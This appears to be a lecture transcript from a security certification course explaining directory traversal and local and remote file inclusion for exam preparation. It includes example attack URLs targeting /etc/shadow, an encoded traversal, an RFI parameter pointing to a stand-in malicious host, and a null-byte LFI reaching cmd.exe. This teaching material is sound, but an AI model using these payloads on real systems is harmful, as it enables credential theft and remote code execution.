In this lesson, we're going to talk
about directory traversal attacks
and the vulnerabilities associated with them.
Now, when we talk about a directory traversal attack,
this is a type of injection attack.
An injection attacks occur when the attacker
inserts malicious code through an application interface.
Now the one we're going to talk about specifically here
and focus on, is directory traversal.
Now a directory traversal is a type of injection attack
and any kind of injection attack
really focuses on the ability
for the attacker to insert malicious code
through an application interface.
Now, when we talk about a directory traversal,
we're talking about an application attack
that allows access to commands, and files, and directories
that may or may not be connected
to the web document root directory.
Now, if you're running a web server,
you're running this on Windows or Mac
or Linux or Unix or some kind of operating system
and there's going to be a folder in there
that is called the web document root.
Essentially that folder is where,
when you go to diontraining.com,
it goes to find those files.
Now that isn't the root of your hard drive,
it's just the root of that directory
but there's many folders above that.
And so if I went to something like
diontraining.com/../../../../etc/shadow,
that would try to go and find that shadow file.
Now, that shadow file isn't inside the web root though.
Instead, it's located on some other file
off of the directory.
And so what we're doing here with that ../../../../,
is doing a directory traversal.
Now let me show you what this looks like graphically.
Essentially we have something that looks like this.
The root is the actual root of your hard drive.
So my server happens to be using Linux.
And because we're using Linux,
we're going to be using that slash.
Now, that's the root.
Underneath that, I have two folders,
I have /etc and /home.
Now, if I go underneath the home directory,
I have /programs,
and if I go under that, I have /www_root.
And under that, that's where my webpage are stored.
So the www_root, that is my web root directory
for those documents.
So when somebody tries to go
diontraining.com/../../../../etc/shadow,
what are they trying to do?
Well, if we start with diontraining.com,
that's going to load index.html
or index.php from the web_pages.
That's that blue thing in the bottom right corner.
Now, when I go ../, I go up into the folder above it
and then ../ goes again up into the folder above it,
../ goes up into the folder above it,
../ goes up into the root directory now.
And then I go /etc, down into the etc folder,
and then /shadow,
I'm going to try to read that shadow file.
That's what they're doing here.
That's what a directory traversal is.
And so if we can read those files
or execute those files by doing this,
we can do that from a URL by typing into a browser
and remotely attack that system.
So we don't want this to happen, right?
Now, when we look at these,
you're going to see a lot of these .. slashes
or .. back slashes.
Now in this case, it's ../
because Unix systems like Linux and Mac, they use ../.
If you're using a Windows system,
so you're using IIS as your web server,
it's going to use ..\.
Because on a Windows system,
you have your C drive, C:\,
and so you're going to be using ..\.
But a lot of times Windows is configured
to accept either way the slash or the backslash
and it will accept both.
Now, what we want to do with these directory traversals is
prevent them from happening.
So how can we do that?
Now, the problem with these directory traversals
like I said, is that,
they can be used to access any file on a system,
if they have the right permissions.
So if I configure my server correctly,
you're not going to have access as a web user
to read my shadow file or my password file.
But if I didn't have it correctly, you could access those
and read those right from your browser.
And so we want to be able to prevent this from happening.
Now, one thing I want to warn you about,
you're not always just going to see the ../,
now that is the most common way to see it,
especially on the exam
to identify a directory traversal.
But remember we talked about encoding,
all the way back earlier in the course?
Well, people can use encoding against you as well.
Attackers can use encoding
to hide their directory traversal attempts.
So instead of using ../,
they might use %2e%2e%2f,
and that would be ../.
So keep that in mind as well.
Now, another vulnerability we have to talk about,
when we talk about directory traversals is file inclusion.
File inclusion is when a web application
vulnerability is being exploited,
that allows an attacker to either download a file
from an arbitrary location on the host file system,
by using that directory traversal
or upload an executable or script file to open a back door.
Now, this will come in two different flavors.
We have remote file inclusions and local file inclusions.
When we talk about a remote file inclusion,
this occurs when an attacker tries to execute a script
to inject a remote file into the web app or the website.
So if I use something like
https://diontraining.com/login.php,
that part is fine.
Then I have ?user=,
this is passing the parameter
of which user I want to log in as.
Now, what user am I going to log into?
Am I going to log in as Jason?
No, we're going to log in as,
http://malware.bad/malicious.php.
So what we're doing is we're passing this parameter
and when our system executes
and tries to find that parameter
to load it into our database,
instead, we're going to load in this malicious script.
So this is the idea of a remote file inclusion.
We're including this remote file,
malicious.php from this other website
into my web server using this type of command.
Now, another one you can use,
is what's called local file inclusion.
Now, local file inclusions are where an attacker
tries to add a file to the web app or website
that already exists on the hosting server.
So let's say on my website,
we might allow you to upload something
like a picture or a PDF or other files,
as part of our community forum.
Well, then you could reference that file
because it's already sitting on my server.
So in this case, you would do something like,
https://diontraining.com/login.php?user=,
and now here you see this directory traversal,
../../Windows/system32/cmd.exe%00.
Now, what are they trying to do?
This is assuming that I have a Windows server,
and they're trying to go up to directories,
into the Windows directory,
down into System32, and run the command shell.
This way, they can run any program they want
that executes in DOS or Windows.
Now what is that %00 at the end?
Well, that's a common tactic that's used
to insert a null character at the end of your URL.
That %00 in URL encoding, is essentially a null character.
And so this is being used to request
to bypass the security mechanisms,
that would normally add a .php to the end of the request
and instead allow us to use that .exe extension.
Now for the exam, let me give you a couple of quick tips.
Anytime you see something with ../,
I want you to think directory traversal.
This is what the answer is most likely going to be.
Now, the reason for this is because on the exam,
they're going to bring up the idea
of directory traversal a lot.
Now you might also get some questions
about local file inclusions.
And if that's the case,
that is a type of directory traversal.
Now, if you get a question like this on the exam,
you're not going to have answer choices A, B, C and D,
where A is directory traversal,
and B is local file inclusion.
They won't do that to you.
Instead, you're going to have,
on this question directory traversal,
on another one, you might have local file inclusion.
So if you see ../, it's one of those two things.
Now, when you're on the exam,
you're going to be asked to look at logs
and things like proxy servers.
And as you're looking through the proxy server logs,
you're going to see these different URLs inside those logs.
And as you look at them,
anytime you see that ../, I want you to remember
that is directory traversal
and that'll be the right answer for you on the exam.